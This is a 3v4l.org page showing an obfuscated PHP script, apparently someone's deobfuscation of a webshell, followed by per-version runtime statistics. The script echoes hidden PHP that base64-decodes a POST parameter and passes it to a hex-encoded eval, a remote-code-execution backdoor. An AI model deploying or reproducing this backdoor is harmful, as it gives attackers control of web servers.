3v4l.org

run code in 300+ PHP versions simultaneously
<?php $terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|"); $order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47); $do_me="";for($i=0;$i<count($order);$i++){$do_me=$do_me.$terms[$order[$i]]; } echo ($do_me); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00718.31
8.3.50.0110.00921.91
8.3.40.0160.00618.71
8.3.30.0110.00719.22
8.3.20.0060.00320.16
8.3.10.0040.00421.73
8.3.00.0040.00719.79
8.2.180.0150.00716.62
8.2.170.0110.01122.96
8.2.160.0070.00720.52
8.2.150.0050.00324.18
8.2.140.0060.00324.66
8.2.130.0120.00626.16
8.2.120.0030.00521.02
8.2.110.0100.00022.27
8.2.100.0110.00019.57
8.2.90.0000.00819.23
8.2.80.0030.00517.97
8.2.70.0030.00517.63
8.2.60.0070.00717.66
8.2.50.0070.00318.07
8.2.40.0000.00818.16
8.2.30.0040.00418.22
8.2.20.0080.00017.73
8.2.10.0060.00318.11
8.2.00.0000.00817.72
8.1.280.0130.00325.92
8.1.270.0060.00323.79
8.1.260.0070.00026.35
8.1.250.0080.00028.09
8.1.240.0030.00623.91
8.1.230.0080.00319.35
8.1.220.0040.00417.89
8.1.210.0040.00418.77
8.1.200.0070.00417.35
8.1.190.0040.00417.25
8.1.180.0000.00818.10
8.1.170.0080.00018.66
8.1.160.0000.00821.99
8.1.150.0080.00018.87
8.1.140.0030.00617.39
8.1.130.0040.00417.96
8.1.120.0000.00717.57
8.1.110.0000.00717.56
8.1.100.0030.00617.47
8.1.90.0040.00417.44
8.1.80.0040.00417.49
8.1.70.0040.00417.47
8.1.60.0080.00017.54
8.1.50.0040.00417.57
8.1.40.0030.00617.60
8.1.30.0050.00317.79
8.1.20.0000.00817.70
8.1.10.0040.00417.67
8.1.00.0000.00717.60
8.0.300.0080.00018.77
8.0.290.0070.00016.75
8.0.280.0040.00418.44
8.0.270.0000.00817.33
8.0.260.0060.00017.38
8.0.250.0000.00917.10
8.0.240.0000.00816.91
8.0.230.0040.00417.07
8.0.220.0060.00316.99
8.0.210.0000.00716.94
8.0.200.0030.00317.00
8.0.190.0040.00416.92
8.0.180.0040.00416.89
8.0.170.0040.00416.95
8.0.160.0040.00417.00
8.0.150.0000.00816.88
8.0.140.0000.01016.90
8.0.130.0060.00013.34
8.0.120.0030.00616.96
8.0.110.0090.00016.96
8.0.100.0050.00316.99
8.0.90.0040.00416.96
8.0.80.0090.00616.92
8.0.70.0070.00016.84
8.0.60.0040.00416.94
8.0.50.0000.00817.00
8.0.30.0100.01317.15
8.0.20.0120.00817.40
8.0.10.0040.00416.98
8.0.00.0110.00616.99
7.4.330.0020.00215.02
7.4.320.0060.00016.50
7.4.300.0030.00316.68
7.4.290.0000.00716.71
7.4.280.0000.00716.59
7.4.270.0000.00716.49
7.4.260.0060.00316.66
7.4.250.0000.00716.63
7.4.240.0000.00716.63
7.4.230.0030.00316.39
7.4.220.0100.01316.77
7.4.210.0070.00716.62
7.4.200.0070.00016.75
7.4.160.0090.00616.60
7.4.150.0180.00317.40
7.4.140.0100.00817.86
7.4.130.0120.00516.67
7.4.120.0080.01116.61
7.4.110.0100.00716.63
7.4.100.0030.02016.46
7.4.90.0060.01416.38
7.4.80.0070.01419.39
7.4.70.0130.00316.59
7.4.60.0070.01016.46
7.4.50.0000.00816.58
7.4.40.0090.00616.60
7.4.30.0000.01716.83
7.4.00.0090.00814.93
7.3.330.0020.00213.26
7.3.320.0000.00613.01
7.3.310.0030.00316.41
7.3.300.0040.00416.35
7.3.290.0060.00916.31
7.3.280.0100.00716.35
7.3.270.0210.00317.40
7.3.260.0120.01116.55
7.3.250.0090.00916.39
7.3.240.0170.00316.52
7.3.230.0110.01116.63
7.3.210.0070.01016.60
7.3.200.0130.00719.39
7.3.190.0090.01216.62
7.3.180.0130.00716.77
7.3.170.0090.01216.52
7.3.160.0070.01016.48
7.3.120.0110.00515.03
7.3.110.0100.00714.80
7.3.100.0000.01315.12
7.3.90.0000.01214.89
7.3.80.0080.00414.76
7.3.70.0030.00714.73
7.3.60.0000.01314.96
7.3.50.0060.00314.78
7.3.40.0030.01014.57
7.3.30.0070.00314.93
7.3.20.0000.01116.58
7.3.10.0060.00916.56
7.3.00.0030.00616.64
7.2.330.0120.00616.45
7.2.320.0110.00616.70
7.2.310.0130.00316.57
7.2.300.0000.01616.68
7.2.290.0140.00316.82
7.2.250.0080.00814.93
7.2.240.0100.01014.95
7.2.230.0070.00714.96
7.2.220.0100.00715.09
7.2.210.0030.01015.12
7.2.200.0030.00615.26
7.2.190.0110.00015.14
7.2.180.0000.01215.11
7.2.170.0110.00715.24
7.2.00.0000.01419.20
7.1.330.0060.00915.75
7.1.320.0030.01015.98
7.1.310.0070.00315.67
7.1.300.0040.01115.69
7.1.290.0030.01415.70
7.1.280.0070.00715.68
7.1.270.0040.00715.72
7.1.260.0000.01615.84
7.1.200.0040.00715.87
7.1.100.0120.00418.02
7.1.70.0000.00717.09
7.1.60.0160.00919.25
7.1.50.0140.00417.11
7.1.00.0070.07322.31
7.0.200.0070.00716.67
7.0.140.0030.07322.12
7.0.60.0100.06019.90
7.0.50.0100.06717.86
7.0.40.0100.06020.06
7.0.30.0230.05020.08
7.0.20.0270.07320.16
7.0.10.0200.04320.19
7.0.00.0170.07719.99
5.6.280.0070.07021.16
5.6.210.0070.06320.73
5.6.200.0070.07318.26
5.6.190.0070.08720.56
5.6.180.0000.08020.54
5.6.170.0170.05320.48
5.6.160.0070.07320.48
5.6.150.0200.07018.20
5.6.140.0130.05718.30
5.6.130.0070.08018.20
5.6.120.0200.04021.10
5.6.110.0030.04321.14
5.6.100.0070.08021.09
5.6.90.0030.08721.08
5.6.80.0070.08020.43
5.6.70.0300.06020.61
5.5.350.0370.06320.52
5.5.340.0030.07018.07
5.5.330.0030.05720.37
5.5.320.0630.06720.44
5.5.310.0270.08020.29
5.5.300.0030.07718.10
5.5.290.0070.07318.01
5.5.280.0070.08720.79
5.5.270.0070.04720.79
5.5.260.0100.08320.99
5.5.250.0070.08020.79
5.5.240.0030.07020.23
5.4.450.0670.06019.49
5.4.440.0700.05319.65
5.4.430.0670.05019.66
5.4.420.0670.05019.15
5.4.410.0230.04319.05
5.4.400.0230.05718.91
5.4.390.0400.05318.86
5.4.380.0100.05718.90
5.4.370.0000.04318.64
5.4.360.0030.05318.87
5.4.350.0060.03512.17
5.4.340.0070.03612.17
5.4.320.0060.03812.69
5.4.310.0070.04812.68
5.4.300.0050.03912.68
5.4.290.0060.04212.68
5.4.280.0060.03712.58
5.4.270.0090.03412.58
5.4.260.0040.04212.58
5.4.250.0050.04012.58
5.4.240.0060.03812.58
5.4.230.0040.04712.57
5.4.220.0060.03612.57
5.4.210.0020.04112.57
5.4.200.0080.03712.57
5.4.190.0040.03812.57
5.4.180.0070.03612.57
5.4.170.0110.03912.58
5.4.160.0060.03912.57
5.4.150.0070.03812.57
5.4.140.0050.04312.26
5.4.130.0060.04012.24
5.4.120.0100.04812.20
5.4.110.0050.03812.20
5.4.100.0040.03812.20
5.4.90.0050.03912.20
5.4.80.0050.03812.20
5.4.70.0040.03712.20
5.4.60.0030.03712.19
5.4.50.0090.04012.20
5.4.40.0070.04212.18
5.4.30.0110.03612.18
5.4.20.0060.04112.18
5.4.10.0080.03412.18
5.4.00.0070.03611.67
5.3.290.0090.04012.92
5.3.280.0070.03812.86
5.3.270.0050.04412.86
5.3.260.0030.04312.86
5.3.250.0050.04312.86
5.3.240.0110.03912.86
5.3.230.0070.03612.86
5.3.220.0120.03112.83
5.3.210.0110.03312.83
5.3.200.0040.03712.82
5.3.190.0050.04012.82
5.3.180.0090.03812.82
5.3.170.0110.03212.82
5.3.160.0040.03912.82
5.3.150.0050.03712.82
5.3.140.0090.03312.82
5.3.130.0050.04612.81
5.3.120.0130.04812.81
5.3.110.0130.04912.81
5.3.100.0070.03812.30
5.3.90.0070.03712.28
5.3.80.0080.03412.27
5.3.70.0030.03912.27
5.3.60.0060.03612.25
5.3.50.0070.03412.20
5.3.40.0060.03612.22
5.3.30.0030.03812.16
5.3.20.0050.03611.94
5.3.10.0050.03511.91
5.3.00.0070.03511.89
5.2.170.0050.0319.39
5.2.160.0050.0299.39
5.2.150.0070.0289.39
5.2.140.0060.0289.39
5.2.130.0050.0289.35
5.2.120.0090.0239.36
5.2.110.0060.0289.36
5.2.100.0020.0319.36
5.2.90.0060.0299.36
5.2.80.0010.0349.35
5.2.70.0060.0299.35
5.2.60.0060.0299.30
5.2.50.0010.0349.28
5.2.40.0060.0279.25
5.2.30.0050.0299.22
5.2.20.0030.0309.21
5.2.10.0020.0319.11
5.2.00.0040.0308.97
5.1.60.0020.0268.28
5.1.50.0060.0238.27
5.1.40.0050.0238.25
5.1.30.0040.0268.61
5.1.20.0030.0288.62
5.1.10.0060.0248.35
5.1.00.0080.0228.35
5.0.50.0020.0226.83
5.0.40.0040.0196.69
5.0.30.0020.0366.50
5.0.20.0070.0186.48
5.0.10.0040.0216.44
5.0.00.0020.0336.44
4.4.90.0010.0174.84
4.4.80.0040.0144.82
4.4.70.0030.0174.82
4.4.60.0000.0194.82
4.4.50.0010.0194.84
4.4.40.0040.0264.83
4.4.30.0040.0174.82
4.4.20.0020.0174.89
4.4.10.0020.0174.89
4.4.00.0030.0254.86
4.3.110.0040.0174.76
4.3.100.0030.0154.75
4.3.90.0030.0164.74
4.3.80.0050.0224.74
4.3.70.0030.0144.73
4.3.60.0020.0164.73
4.3.50.0020.0174.72
4.3.40.0030.0254.69
4.3.30.0030.0163.49
4.3.20.0040.0153.47
4.3.10.0040.0153.43
4.3.00.0100.0307.91

preferences:
49.6 ms | 401 KiB | 5 Q